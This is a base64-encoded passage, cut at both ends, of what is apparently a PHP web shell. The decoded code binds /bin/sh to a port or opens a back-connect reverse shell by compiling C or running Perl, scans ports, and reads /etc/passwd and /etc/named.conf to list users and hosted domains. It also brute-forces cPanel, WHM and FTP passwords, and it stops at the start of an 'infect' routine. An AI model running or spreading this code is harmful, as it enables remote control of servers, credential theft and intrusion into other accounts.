cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7CiAgICAKICAgIGVjaG8gJzxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPVwnbmZwXCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5wb3J0LnZhbHVlLHRoaXMucGFzcy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+CiAgICA8YnIgLz48c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPgogICAgUG9ydDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3BvcnRcJyB2YWx1ZT1cJzQ0NFwnPiBQYXNzd29yZDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3Bhc3NcJyB2YWx1ZT1cJ0JIUFwnPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT1cJ2JwY1wnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnYnBwXCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KICAgIDwvZm9ybT4KICAgIDxmb3JtIG5hbWU9XCduZnBcJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgogICAgPGJyIC8+PGJyIC8+PHNwYW4+QmFjay1jb25uZWN0IHRvPC9zcGFuPjxici8+CiAgICBTZXJ2ZXI6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdzZXJ2ZXJcJyB2YWx1ZT0iJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nIj4gUG9ydDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3BvcnRcJyB2YWx1ZT1cJzQ0NFwnPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT1cJ2JjY1wnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnYmNwXCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KICAgIDwvZm9ybT48YnI+JzsgICAgCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgZnVuY3Rpb24gY2YoJGYsJHQpIHsKICAgICAgICAgICAgJHc9QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsKICAgICAgICAgICAgaWYoJHcpICAgIHsKICAgICAgICAgICAgICAgIEBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZnB1dHMoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZmlsZV9wdXRfY29udGVudHMoJGYsQGJhc2U2NF9kZWNvZGUoJHQpKTsKICAgICAgICAgICAgICAgIEBmY2xvc2UoJHcpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBjJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JwIC90bXAvYnAuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JwLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNjJykgewogICAgICAgICAgICBjZigiL3RtcC9iYy5jIiwkYmFja19jb25uZWN0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JjIC90bXAvYmMuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JjLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9iYyAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJjIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgewogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsKICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uUG9ydFNjYW5uZXIoKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlBvcnQgU2Nhbm5lcjwvaDE+JzsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7CiAgICBlY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4nOwogICAgCiAgICBpZihpc3NldCgkX1BPU1RbJ2hvc3QnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ2VuZCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnc3RhcnQnXSkpewogICAgICAgICRzdGFydCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydzdGFydCddKTsKICAgICAgICAkZW5kID0gc3RyaXBfdGFncygkX1BPU1RbJ2VuZCddKTsKICAgICAgICAkaG9zdCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydob3N0J10pOwogICAgICAgIGZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspewogICAgICAgICAgICAkZnAgPSBAZnNvY2tvcGVuKCRob3N0LCAkaSwgJGVycm5vLCAkZXJyc3RyLCAzKTsKICAgICAgICAgICAgaWYoJGZwKXsKICAgICAgICAgICAgICAgIGVjaG8gJ1BvcnQgJy4kaS4nIGlzIDxmb250IGNvbG9yPWFxdWE+b3BlbjwvZm9udD48YnI+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmbHVzaCgpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAnPGJyIC8+PGJyIC8+PGNlbnRlcj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iUG9ydFNjYW5uZXIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9cDE+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icDIiPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImMiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaGFyc2V0IiB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KICAgICAgICAgICAgICBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIvPjxiciAvPjxiciAvPgogICAgICAgICAgICAgIFBvcnQgc3RhcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdGFydCIgdmFsdWU9IjAiLz48YnIgLz48YnIgLz4KICAgICAgICAgICAgICBQb3J0IGVuZDo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZW5kIiB2YWx1ZT0iNTAwMCIvPjxiciAvPjxiciAvPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FuIFBvcnRzIiAvPgogICAgICAgICAgICAgIDwvZm9ybT48L2NlbnRlcj48YnIgLz48YnIgLz4nOwogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7ICAgIAp9CgpmdW5jdGlvbiBhY3Rpb25SZWFkYWJsZSgpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+UmVhZGFibGUgRGlyczwvaDE+JzsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7CiAgICAkc20gPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKICAgIGlmKCRzbSkgewogICAgICAgIGVjaG8gJzxiciAvPjxiPkVycm9yOiBzYWZlX21vZGUgPSBvbjwvYj48YnIgLz48YnIgLz4nOwogICAgfSBlbHNlIHsKICAgICAgICBAJHBhc3N3ZCA9IGZpbGUoJy9ldGMvcGFzc3dkJywncicpOwogICAgICAgIGlmICghJHBhc3N3ZCkgeyAKICAgICAgICAgICAgZWNobyAnPGJyIC8+PGI+Wy1dIEVycm9yIDogY291ZG5gdCByZWFkIC9ldGMvcGFzc3dkPC9iPjxiciAvPjxiciAvPic7IAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwdWIgPSBhcnJheSgpOwogICAgICAgICAgICAkdXNlcnMgPSBhcnJheSgpOwogICAgICAgICAgICAkY29uZiA9IGFycmF5KCk7CiAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgZm9yZWFjaCgkcGFzc3dkIGFzICRwKSB7CiAgICAgICAgICAgICAgICAkciA9IGV4cGxvZGUoJzonLCRwKTsKICAgICAgICAgICAgICAgICRkaXJ6ID0gJHJbNV0uJy9wdWJsaWNfaHRtbC8nOwogICAgICAgICAgICAgICAgaWYoc3RycG9zKCRyWzVdLCdob21lJykpIHsKICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR1c2VycywkclswXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkgewogICAgICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8YnI+PGJyPic7CiAgICAgICAgICAgIGVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCR1c2VycykuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiIuIjxiciAvPiI7CiAgICAgICAgICAgIGVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwdWIpLiIgcmVhZGFibGUgcHVibGljX2h0bWwgZGlyZWN0b3JpZXNcbiIuIjxiciAvPjxiciAvPjxiciAvPiI7CiAgICAgICAgICAgIGZvcmVhY2ggKCRwdWIgYXMgJHVzZXIpIHsKICAgICAgICAgICAgICAgIGVjaG8gJHVzZXIuIjxicj4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gIjxiciAvPjxiciAvPjxiciAvPlsrXSBDb21wbGV0ZS4uLlxuIi4iPGJyIC8+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsgICAgCn0KZnVuY3Rpb24gYWN0aW9uQ3BhbmVsKCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50SGVhZGVyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGgxPmNQYW5lbCBDcmFja2VyPC9oMT4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRhYmxlIGFsaWduPWNlbnRlciBjbGFzcz0ibWFpbiIgYm9yZGVyPSIwIj48dHIgYmdjb2xvcj0iIzVlNWU1ZSI+PHRkPlVzZXJzPC90ZD48dGQ+PC90ZD48dGQ+U2VsZWN0ZWQgVXNlcnM8L3RkPjx0ZD5QYXNzd29yZDwvdGQ+PC90cj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0cj48dGQ+PHRleHRhcmVhIHJvd3M9IjIwIiBuYW1lPSJTMSIgY29scz0iMzMiPjwvdGV4dGFyZWE+PC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48aW5wdXQgdHlwZT0iYnV0dG9uIiBuYW1lPSJjcGFkMSIgdmFsdWU9Ij4iIGNsYXNzPSJjcGIiLz48YnIgLz48YnIgLz48aW5wdXQgdHlwZT0iYnV0dG9uIiBuYW1lPSJjcGFkYWxsIiB2YWx1ZT0iPj4iIGNsYXNzPSJjcGIiLz48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIG5hbWU9ImNwcm0xIiB2YWx1ZT0iPCIgY2xhc3M9ImNwYiIvPjxiciAvPjxiciAvPjxpbnB1dCB0eXBlPSJidXR0b24iIG5hbWU9ImNwcm1hbGwiIHZhbHVlPSI8PCIgY2xhc3M9ImNwYiIvPjwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+PHRleHRhcmVhIHJvd3M9IjIwIiBuYW1lPSJ1c2VycyIgY29scz0iMzMiPjwvdGV4dGFyZWE+PC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48dGV4dGFyZWEgcm93cz0iMjAiIG5hbWU9InBhc3N3b3JkcyIgY29scz0iMzMiPjwvdGV4dGFyZWE+PC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHI+PHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6MjUycHg7IiB0eXBlPSJidXR0b24iIG9uY2xpY2s9ImcoXCdDcGFuZWxcJyxudWxsLFwnZ3JiZXRjcHdcJykiIHZhbHVlPSJHcmFiIHVzZXJuYW1lcyBmcm9tIC9ldGMvcGFzc3dkIi8+PGJyIC8+PGlucHV0IHN0eWxlPSJtYXJnaW4tdG9wOjVweDt3aWR0aDoyNTJweDsiIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iZyhcJ0NwYW5lbFwnLG51bGwsXCdncmJob21lXCcpIiB2YWx1ZT0iR3JhYiB1c2VybmFtZXMgZnJvbSAvaG9tZSIvPjwvdGQ+PHRkPjwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY29sc3Bhbj0iMiI+PHNwYW4+Q3JhY2sgb3B0aW9uczombmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+PGlucHV0IG5hbWU9ImNyYWNrdHlwZSIgdmFsdWU9ImNwYW5lbCIgY2hlY2tlZCB0eXBlPSJyYWRpbyI+PGI+Q3BhbmVsKDIwODIpPC9iPiZuYnNwOyZuYnNwOzxpbnB1dCBuYW1lPSJjcmFja3R5cGUiIHZhbHVlPSJ3aG0iIHR5cGU9InJhZGlvIj48Yj5XSE0oMjA4Nyk8L2I+Jm5ic3A7Jm5ic3A7PGlucHV0IG5hbWU9ImNyYWNrdHlwZSIgdmFsdWU9ImZ0cCIgdHlwZT0icmFkaW8iPjxiPkZ0cCgyMSk8L2I+PGJyIC8+CiAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOjVweDsiPjxzcGFuPlRpbWVvdXQgZGVsYXk6Jm5ic3A7Jm5ic3A7PC9zcGFuPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb25uZWN0X3RpbWVvdXQiIHNpemU9IjQiIHZhbHVlPSIiLz4mbmJzcDsmbmJzcDsKICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYnJ1dGVmb3JjZSIgdmFsdWU9InRydWUiLz4mbmJzcDs8c3Bhbj5CcnV0ZWZvcmNlPC9zcGFuPiZuYnNwOwogICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSJjaGFyc2V0Ij4KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhbGwiPkFsbCBMZXR0ZXJzICsgTnVtYmVyczwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Im51bWVyaWMiPk51bWJlcnM8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJsZXR0ZXJzIj5MZXR0ZXJzPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ic3ltYm9scyI+U3ltYm9sczwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imxvd2VyY2FzZSI+TG93ZXIgTGV0dGVyczwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InVwcGVyY2FzZSI+SGlnaGVyIExldHRlcnM8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJsb3dlcm51bWVyaWMiPkxvd2VyIExldHRlcnMgKyBOdW1iZXJzPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idXBwZXJudW1lcmljIj5VcHBlciBMZXR0ZXJzICsgTnVtYmVyczwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imxvd2Vyc3ltYm9scyI+TG93ZXIgTGV0dGVycyArIFN5bWJvbHM8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ1cHBlcnN5bWJvbHMiPlVwcGVyIExldHRlcnMgKyBTeW1ib2xzPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibGV0dGVyc3N5bWJvbHMiPkFsbCBMZXR0ZXJzICsgU3ltYm9sczwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Im51bWJlcnNzeW1ib2xzIj5OdW1iZXJzICsgU3ltYm9sczwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imxvd2VybnVtZXJpY3N5bWJvbHMiPkxvd2VyIExldHRlcnMgKyBOdW1iZXJzICsgU3ltYm9sczwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InVwcGVybnVtZXJpY3N5bWJvbHMiPlVwcGVyIExldHRlcnMgKyBOdW1iZXJzICsgU3ltYm9sczwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImxldHRlcnNudW1lcmljc3ltYm9scyI+QWxsIExldHRlcnMgKyBOdW1iZXJzICsgU3ltYm9sczwvb3B0aW9uPgogICAgICAgICAgICAgICAgPC9zZWxlY3Q+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOjVweDsiPjxzcGFuPk1pbiBCcnV0ZWZvcmNlIExlbmd0aDombmJzcDsmbmJzcDs8L3NwYW4+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1pbl9sZW5ndGgiIHNpemU9IjUiIHZhbHVlPSIiLz4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8c3Bhbj5NYXggQnJ1dGVmb3JjZSBMZW5ndGg6Jm5ic3A7Jm5ic3A7PC9zcGFuPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtYXhfbGVuZ3RoIiBzaXplPSI1IiB2YWx1ZT0iIi8+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOjVweDt0ZXh0LWFsaWduOmNlbnRlciI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyYWNrIE5vdyIgbmFtZT0ic3VibWl0IiBzdHlsZT0iZm9udC13ZWlnaHQ6IGJvbGQ7Ii8+PC9kaXY+CiAgICAgICAgICAgICAgICA8L3RkPjwvdHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludEZvb3RlcigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQkJCQkJCQkJCQkJCQkJCQkKIGZ1bmN0aW9uIGFjdGlvbkRvbWFpbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludEhlYWRlcigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxoMT5sb2NhbCBkb21haW4gdmlld2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IEBpbXBsb2RlKEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlsZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaWUoIiMgY2FuJ3QgUmVhRCAtPiBbIC9ldGMvbmFtZWQuY29uZiBdIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCIjbmFtZWQvKC4qPykuZGIjIiwgJGZpbGUsICRyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZG9tYWlucyA9IGFycmF5X3VuaXF1ZSgkclsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9jaGVjaygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vaWYoaXNzZXQoJF9HRVRbJ1Nob3dBbGwnXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj5bK10gVGhlcmUgYXJlIDogWyA8Yj4iIC4gY291bnQoJGRvbWFpbnMpIC4gIjwvYj4gXSBEb21haW48L3RkPjwvdHI+Cjx0cj48dGQ+RG9tYWluPC90ZD48dGQ+VXNlcjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG9tYWlucyBhcyAkZG9tYWluKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIiAuICRkb21haW4pKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+JGRvbWFpbjwvdGQ+PHRkPiIgLiAkdXNlclsnbmFtZSddIC4gIjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludEZvb3RlcigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQkJCQkJCQkJCQkJCQkJCQkKZnVuY3Rpb24gYWN0aW9uSW5mZWN0KCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50SGVhZGVyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAn